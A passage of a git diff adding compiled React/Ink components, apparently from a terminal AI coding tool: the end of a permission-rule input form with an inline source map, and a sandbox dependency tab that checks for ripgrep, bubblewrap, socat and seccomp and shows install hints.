+      if (trimmedValue.length === 0) {
+        return;
+      }
+      const ruleValue = permissionRuleValueFromString(trimmedValue);
+      onSubmit(ruleValue, ruleBehavior);
+    };
+    $[1] = onSubmit;
+    $[2] = ruleBehavior;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  const handleSubmit = t2;
+  let t3;
+  if ($[4] !== ruleBehavior) {
+    t3 = <Text bold={true} color="permission">Add {ruleBehavior} permission rule</Text>;
+    $[4] = ruleBehavior;
+    $[5] = t3;
+  } else {
+    t3 = $[5];
+  }
+  let t4;
+  if ($[6] === Symbol.for("react.memo_cache_sentinel")) {
+    t4 = <Newline />;
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  let t5;
+  let t6;
+  if ($[7] === Symbol.for("react.memo_cache_sentinel")) {
+    t5 = <Text bold={true}>{permissionRuleValueToString({
+        toolName: WebFetchTool.name
+      })}</Text>;
+    t6 = <Text bold={false}> or </Text>;
+    $[7] = t5;
+    $[8] = t6;
+  } else {
+    t5 = $[7];
+    t6 = $[8];
+  }
+  let t7;
+  if ($[9] === Symbol.for("react.memo_cache_sentinel")) {
+    t7 = <Text>Permission rules are a tool name, optionally followed by a specifier in parentheses.{t4}e.g.,{" "}{t5}{t6}<Text bold={true}>{permissionRuleValueToString({
+          toolName: BashTool.name,
+          ruleContent: "ls:*"
+        })}</Text></Text>;
+    $[9] = t7;
+  } else {
+    t7 = $[9];
+  }
+  let t8;
+  if ($[10] !== cursorOffset || $[11] !== handleSubmit || $[12] !== inputValue || $[13] !== textInputColumns) {
+    t8 = <Box flexDirection="column">{t7}<Box borderDimColor={true} borderStyle="round" marginY={1} paddingLeft={1}><TextInput showCursor={true} value={inputValue} onChange={setInputValue} onSubmit={handleSubmit} placeholder={`Enter permission rule${figures.ellipsis}`} columns={textInputColumns} cursorOffset={cursorOffset} onChangeCursorOffset={setCursorOffset} /></Box></Box>;
+    $[10] = cursorOffset;
+    $[11] = handleSubmit;
+    $[12] = inputValue;
+    $[13] = textInputColumns;
+    $[14] = t8;
+  } else {
+    t8 = $[14];
+  }
+  let t9;
+  if ($[15] !== t3 || $[16] !== t8) {
+    t9 = <Box flexDirection="column" gap={1} borderStyle="round" paddingLeft={1} paddingRight={1} borderColor="permission">{t3}{t8}</Box>;
+    $[15] = t3;
+    $[16] = t8;
+    $[17] = t9;
+  } else {
+    t9 = $[17];
+  }
+  let t10;
+  if ($[18] !== exitState.keyName || $[19] !== exitState.pending) {
+    t10 = <Box marginLeft={3}>{exitState.pending ? <Text dimColor={true}>Press {exitState.keyName} again to exit</Text> : <Text dimColor={true}>Enter to submit · Esc to cancel</Text>}</Box>;
+    $[18] = exitState.keyName;
+    $[19] = exitState.pending;
+    $[20] = t10;
+  } else {
+    t10 = $[20];
+  }
+  let t11;
+  if ($[21] !== t10 || $[22] !== t9) {
+    t11 = <>{t9}{t10}</>;
+    $[21] = t10;
+    $[22] = t9;
+    $[23] = t11;
+  } else {
+    t11 = $[23];
+  }
+  return t11;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmaWd1cmVzIiwiUmVhY3QiLCJ1c2VTdGF0ZSIsIlRleHRJbnB1dCIsInVzZUV4aXRPbkN0cmxDRFdpdGhLZXliaW5kaW5ncyIsInVzZVRlcm1pbmFsU2l6ZSIsIkJveCIsIk5ld2xpbmUiLCJUZXh0IiwidXNlS2V5YmluZGluZyIsIkJhc2hUb29sIiwiV2ViRmV0Y2hUb29sIiwiUGVybWlzc2lvbkJlaGF2aW9yIiwiUGVybWlzc2lvblJ1bGVWYWx1ZSIsInBlcm1pc3Npb25SdWxlVmFsdWVGcm9tU3RyaW5nIiwicGVybWlzc2lvblJ1bGVWYWx1ZVRvU3RyaW5nIiwiUGVybWlzc2lvblJ1bGVJbnB1dFByb3BzIiwib25DYW5jZWwiLCJvblN1Ym1pdCIsInJ1bGVWYWx1ZSIsInJ1bGVCZWhhdmlvciIsIlBlcm1pc3Npb25SdWxlSW5wdXQiLCJ0MCIsIiQiLCJfYyIsImlucHV0VmFsdWUiLCJzZXRJbnB1dFZhbHVlIiwiY3Vyc29yT2Zmc2V0Iiwic2V0Q3Vyc29yT2Zmc2V0IiwiZXhpdFN0YXRlIiwidDEiLCJTeW1ib2wiLCJmb3IiLCJjb250ZXh0IiwiY29sdW1ucyIsInRleHRJbnB1dENvbHVtbnMiLCJ0MiIsInZhbHVlIiwidHJpbW1lZFZhbHVlIiwidHJpbSIsImxlbmd0aCIsImhhbmRsZVN1Ym1pdCIsInQzIiwidDQiLCJ0NSIsInQ2IiwidG9vbE5hbWUiLCJuYW1lIiwidDciLCJydWxlQ29udGVudCIsInQ4IiwiZWxsaXBzaXMiLCJ0OSIsInQxMCIsImtleU5hbWUiLCJwZW5kaW5nIiwidDExIl0sInNvdXJjZXMiOlsiUGVybWlzc2lvblJ1bGVJbnB1dC50c3giXSwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IGZpZ3VyZXMgZnJvbSAnZmlndXJlcydcbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0J1xuaW1wb3J0IHsgdXNlU3RhdGUgfSBmcm9tICdyZWFjdCdcbmltcG9ydCBUZXh0SW5wdXQgZnJvbSAnLi4vLi4vLi4vY29tcG9uZW50cy9UZXh0SW5wdXQuanMnXG5pbXBvcnQgeyB1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MgfSBmcm9tICcuLi8uLi8uLi9ob29rcy91c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MuanMnXG5pbXBvcnQgeyB1c2VUZXJtaW5hbFNpemUgfSBmcm9tICcuLi8uLi8uLi9ob29rcy91c2VUZXJtaW5hbFNpemUuanMnXG5pbXBvcnQgeyBCb3gsIE5ld2xpbmUsIFRleHQgfSBmcm9tICcuLi8uLi8uLi9pbmsuanMnXG5pbXBvcnQgeyB1c2VLZXliaW5kaW5nIH0gZnJvbSAnLi4vLi4vLi4va2V5YmluZGluZ3MvdXNlS2V5YmluZGluZy5qcydcbmltcG9ydCB7IEJhc2hUb29sIH0gZnJvbSAnLi4vLi4vLi4vdG9vbHMvQmFzaFRvb2wvQmFzaFRvb2wuanMnXG5pbXBvcnQgeyBXZWJGZXRjaFRvb2wgfSBmcm9tICcuLi8uLi8uLi90b29scy9XZWJGZXRjaFRvb2wvV2ViRmV0Y2hUb29sLmpzJ1xuaW1wb3J0IHR5cGUge1xuICBQZXJtaXNzaW9uQmVoYXZpb3IsXG4gIFBlcm1pc3Npb25SdWxlVmFsdWUsXG59IGZyb20gJy4uLy4uLy4uL3V0aWxzL3Blcm1pc3Npb25zL1Blcm1pc3Npb25SdWxlLmpzJ1xuaW1wb3J0IHtcbiAgcGVybWlzc2lvblJ1bGVWYWx1ZUZyb21TdHJpbmcsXG4gIHBlcm1pc3Npb25SdWxlVmFsdWVUb1N0cmluZyxcbn0gZnJvbSAnLi4vLi4vLi4vdXRpbHMvcGVybWlzc2lvbnMvcGVybWlzc2lvblJ1bGVQYXJzZXIuanMnXG5cbmV4cG9ydCB0eXBlIFBlcm1pc3Npb25SdWxlSW5wdXRQcm9wcyA9IHtcbiAgb25DYW5jZWw6ICgpID0+IHZvaWRcbiAgb25TdWJtaXQ6IChcbiAgICBydWxlVmFsdWU6IFBlcm1pc3Npb25SdWxlVmFsdWUsXG4gICAgcnVsZUJlaGF2aW9yOiBQZXJtaXNzaW9uQmVoYXZpb3IsXG4gICkgPT4gdm9pZFxuICBydWxlQmVoYXZpb3I6IFBlcm1pc3Npb25CZWhhdmlvclxufVxuXG5leHBvcnQgZnVuY3Rpb24gUGVybWlzc2lvblJ1bGVJbnB1dCh7XG4gIG9uQ2FuY2VsLFxuICBvblN1Ym1pdCxcbiAgcnVsZUJlaGF2aW9yLFxufTogUGVybWlzc2lvblJ1bGVJbnB1dFByb3BzKTogUmVhY3QuUmVhY3ROb2RlIHtcbiAgY29uc3QgW2lucHV0VmFsdWUsIHNldElucHV0VmFsdWVdID0gdXNlU3RhdGUoJycpXG4gIGNvbnN0IFtjdXJzb3JPZmZzZXQsIHNldEN1cnNvck9mZnNldF0gPSB1c2VTdGF0ZSgwKVxuICBjb25zdCBleGl0U3RhdGUgPSB1c2VFeGl0T25DdHJsQ0RXaXRoS2V5YmluZGluZ3MoKVxuXG4gIC8vIFVzZSBjb25maWd1cmFibGUga2V5YmluZGluZyBmb3IgRVNDIHRvIGNhbmNlbFxuICAvLyBVc2UgU2V0dGluZ3MgY29udGV4dCBzbyAnbicga2V5IGRvZXNuJ3QgY2FuY2VsIChhbGxvd3MgdHlwaW5nICduJyBpbiBpbnB1dClcbiAgdXNlS2V5YmluZGluZygnY29uZmlybTpubycsIG9uQ2FuY2VsLCB7IGNvbnRleHQ6ICdTZXR0aW5ncycgfSlcblxuICBjb25zdCB7IGNvbHVtbnMgfSA9IHVzZVRlcm1pbmFsU2l6ZSgpXG4gIGNvbnN0IHRleHRJbnB1dENvbHVtbnMgPSBjb2x1bW5zIC0gNlxuXG4gIGNvbnN0IGhhbmRsZVN1Ym1pdCA9ICh2YWx1ZTogc3RyaW5nKSA9PiB7XG4gICAgY29uc3QgdHJpbW1lZFZhbHVlID0gdmFsdWUudHJpbSgpXG4gICAgaWYgKHRyaW1tZWRWYWx1ZS5sZW5ndGggPT09IDApIHtcbiAgICAgIHJldHVyblxuICAgIH1cbiAgICBjb25zdCBydWxlVmFsdWUgPSBwZXJtaXNzaW9uUnVsZVZhbHVlRnJvbVN0cmluZyh0cmltbWVkVmFsdWUpXG4gICAgb25TdWJtaXQocnVsZVZhbHVlLCBydWxlQmVoYXZpb3IpXG4gIH1cblxuICByZXR1cm4gKFxuICAgIDw+XG4gICAgICA8Qm94XG4gICAgICAgIGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIlxuICAgICAgICBnYXA9ezF9XG4gICAgICAgIGJvcmRlclN0eWxlPVwicm91bmRcIlxuICAgICAgICBwYWRkaW5nTGVmdD17MX1cbiAgICAgICAgcGFkZGluZ1JpZ2h0PXsxfVxuICAgICAgICBib3JkZXJDb2xvcj1cInBlcm1pc3Npb25cIlxuICAgICAgPlxuICAgICAgICA8VGV4dCBib2xkIGNvbG9yPVwicGVybWlzc2lvblwiPlxuICAgICAgICAgIEFkZCB7cnVsZUJlaGF2aW9yfSBwZXJtaXNzaW9uIHJ1bGVcbiAgICAgICAgPC9UZXh0PlxuICAgICAgICA8Qm94IGZsZXhEaXJlY3Rpb249XCJjb2x1bW5cIj5cbiAgICAgICAgICA8VGV4dD5cbiAgICAgICAgICAgIFBlcm1pc3Npb24gcnVsZXMgYXJlIGEgdG9vbCBuYW1lLCBvcHRpb25hbGx5IGZvbGxvd2VkIGJ5IGEgc3BlY2lmaWVyXG4gICAgICAgICAgICBpbiBwYXJlbnRoZXNlcy5cbiAgICAgICAgICAgIDxOZXdsaW5lIC8+XG4gICAgICAgICAgICBlLmcuLHsnICd9XG4gICAgICAgICAgICA8VGV4dCBib2xkPlxuICAgICAgICAgICAgICB7cGVybWlzc2lvblJ1bGVWYWx1ZVRvU3RyaW5nKHsgdG9vbE5hbWU6IFdlYkZldGNoVG9vbC5uYW1lIH0pfVxuICAgICAgICAgICAgPC9UZXh0PlxuICAgICAgICAgICAgPFRleHQgYm9sZD17ZmFsc2V9PiBvciA8L1RleHQ+XG4gICAgICAgICAgICA8VGV4dCBib2xkPlxuICAgICAgICAgICAgICB7cGVybWlzc2lvblJ1bGVWYWx1ZVRvU3RyaW5nKHtcbiAgICAgICAgICAgICAgICB0b29sTmFtZTogQmFzaFRvb2wubmFtZSxcbiAgICAgICAgICAgICAgICBydWxlQ29udGVudDogJ2xzOionLFxuICAgICAgICAgICAgICB9KX1cbiAgICAgICAgICAgIDwvVGV4dD5cbiAgICAgICAgICA8L1RleHQ+XG4gICAgICAgICAgPEJveCBib3JkZXJEaW1Db2xvciBib3JkZXJTdHlsZT1cInJvdW5kXCIgbWFyZ2luWT17MX0gcGFkZGluZ0xlZnQ9ezF9PlxuICAgICAgICAgICAgPFRleHRJbnB1dFxuICAgICAgICAgICAgICBzaG93Q3Vyc29yXG4gICAgICAgICAgICAgIHZhbHVlPXtpbnB1dFZhbHVlfVxuICAgICAgICAgICAgICBvbkNoYW5nZT17c2V0SW5wdXRWYWx1ZX1cbiAgICAgICAgICAgICAgb25TdWJtaXQ9e2hhbmRsZVN1Ym1pdH1cbiAgICAgICAgICAgICAgcGxhY2Vob2xkZXI9e2BFbnRlciBwZXJtaXNzaW9uIHJ1bGUke2ZpZ3VyZXMuZWxsaXBzaXN9YH1cbiAgICAgICAgICAgICAgY29sdW1ucz17dGV4dElucHV0Q29sdW1uc31cbiAgICAgICAgICAgICAgY3Vyc29yT2Zmc2V0PXtjdXJzb3JPZmZzZXR9XG4gICAgICAgICAgICAgIG9uQ2hhbmdlQ3Vyc29yT2Zmc2V0PXtzZXRDdXJzb3JPZmZzZXR9XG4gICAgICAgICAgICAvPlxuICAgICAgICAgIDwvQm94PlxuICAgICAgICA8L0JveD5cbiAgICAgIDwvQm94PlxuICAgICAgPEJveCBtYXJnaW5MZWZ0PXszfT5cbiAgICAgICAge2V4aXRTdGF0ZS5wZW5kaW5nID8gKFxuICAgICAgICAgIDxUZXh0IGRpbUNvbG9yPlByZXNzIHtleGl0U3RhdGUua2V5TmFtZX0gYWdhaW4gdG8gZXhpdDwvVGV4dD5cbiAgICAgICAgKSA6IChcbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5FbnRlciB0byBzdWJtaXQgwrcgRXNjIHRvIGNhbmNlbDwvVGV4dD5cbiAgICAgICAgKX1cbiAgICAgIDwvQm94PlxuICAgIDwvPlxuICApXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxPQUFPQSxPQUFPLE1BQU0sU0FBUztBQUM3QixPQUFPLEtBQUtDLEtBQUssTUFBTSxPQUFPO0FBQzlCLFNBQVNDLFFBQVEsUUFBUSxPQUFPO0FBQ2hDLE9BQU9DLFNBQVMsTUFBTSxrQ0FBa0M7QUFDeEQsU0FBU0MsOEJBQThCLFFBQVEsa0RBQWtEO0FBQ2pH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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/sandbox/SandboxDependenciesTab.tsx b/_all-in-one-upload/cc-haha/src/components/sandbox/SandboxDependenciesTab.tsx
new file mode 100644
index 0000000..c9ecbc5
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/sandbox/SandboxDependenciesTab.tsx
@@ -0,0 +1,120 @@
+import { c as _c } from "react/compiler-runtime";
+import React from 'react';
+import { Box, Text } from '../../ink.js';
+import { getPlatform } from '../../utils/platform.js';
+import type { SandboxDependencyCheck } from '../../utils/sandbox/sandbox-adapter.js';
+type Props = {
+  depCheck: SandboxDependencyCheck;
+};
+export function SandboxDependenciesTab(t0) {
+  const $ = _c(24);
+  const {
+    depCheck
+  } = t0;
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = getPlatform();
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  const platform = t1;
+  const isMac = platform === "macos";
+  let t2;
+  if ($[1] !== depCheck.errors) {
+    t2 = depCheck.errors.some(_temp);
+    $[1] = depCheck.errors;
+    $[2] = t2;
+  } else {
+    t2 = $[2];
+  }
+  const rgMissing = t2;
+  let t3;
+  if ($[3] !== depCheck.errors) {
+    t3 = depCheck.errors.some(_temp2);
+    $[3] = depCheck.errors;
+    $[4] = t3;
+  } else {
+    t3 = $[4];
+  }
+  const bwrapMissing = t3;
+  let t4;
+  if ($[5] !== depCheck.errors) {
+    t4 = depCheck.errors.some(_temp3);
+    $[5] = depCheck.errors;
+    $[6] = t4;
+  } else {
+    t4 = $[6];
+  }
+  const socatMissing = t4;
+  const seccompMissing = depCheck.warnings.length > 0;
+  let t5;
+  if ($[7] !== bwrapMissing || $[8] !== depCheck.errors || $[9] !== rgMissing || $[10] !== seccompMissing || $[11] !== socatMissing) {
+    const otherErrors = depCheck.errors.filter(_temp4);
+    const rgInstallHint = isMac ? "brew install ripgrep" : "apt install ripgrep";
+    let t6;
+    if ($[13] === Symbol.for("react.memo_cache_sentinel")) {
+      t6 = isMac && <Box flexDirection="column"><Text>seatbelt: <Text color="success">built-in (macOS)</Text></Text></Box>;
+      $[13] = t6;
+    } else {
+      t6 = $[13];
+    }
+    let t7;
+    let t8;
+    if ($[14] !== rgMissing) {
+      t7 = <Text>ripgrep (rg):{" "}{rgMissing ? <Text color="error">not found</Text> : <Text color="success">found</Text>}</Text>;
+      t8 = rgMissing && <Text dimColor={true}>{"  "}· {rgInstallHint}</Text>;
+      $[14] = rgMissing;
+      $[15] = t7;
+      $[16] = t8;
+    } else {
+      t7 = $[15];
+      t8 = $[16];
+    }
+    let t9;
+    if ($[17] !== t7 || $[18] !== t8) {
+      t9 = <Box flexDirection="column">{t7}{t8}</Box>;
+      $[17] = t7;
+      $[18] = t8;
+      $[19] = t9;
+    } else {
+      t9 = $[19];
+    }
+    let t10;
+    if ($[20] !== bwrapMissing || $[21] !== seccompMissing || $[22] !== socatMissing) {
+      t10 = !isMac && <><Box flexDirection="column"><Text>bubblewrap (bwrap):{" "}{bwrapMissing ? <Text color="error">not installed</Text> : <Text color="success">installed</Text>}</Text>{bwrapMissing && <Text dimColor={true}>{"  "}· apt install bubblewrap</Text>}</Box><Box flexDirection="column"><Text>socat:{" "}{socatMissing ? <Text color="error">not installed</Text> : <Text color="success">installed</Text>}</Text>{socatMissing && <Text dimColor={true}>{"  "}· apt install socat</Text>}</Box><Box flexDirection="column"><Text>seccomp filter:{" "}{seccompMissing ? <Text color="warning">not installed</Text> : <Text color="success">installed</Text>}{seccompMissing && <Text dimColor={true}> (required to block unix domain sockets)</Text>}</Text>{seccompMissing && <Box flexDirection="column"><Text dimColor={true}>{"  "}· npm install -g @anthropic-ai/sandbox-runtime</Text><Text dimColor={true}>{"  "}· or copy vendor/seccomp/* from sandbox-runtime and set</Text><Text dimColor={true}>{"    "}sandbox.seccomp.bpfPath and applyPath in settings.json</Text></Box>}</Box></>;
+      $[20] = bwrapMissing;
+      $[21] = seccompMissing;
+      $[22] = socatMissing;
+      $[23] = t10;
+    } else {
+      t10 = $[23];
+    }
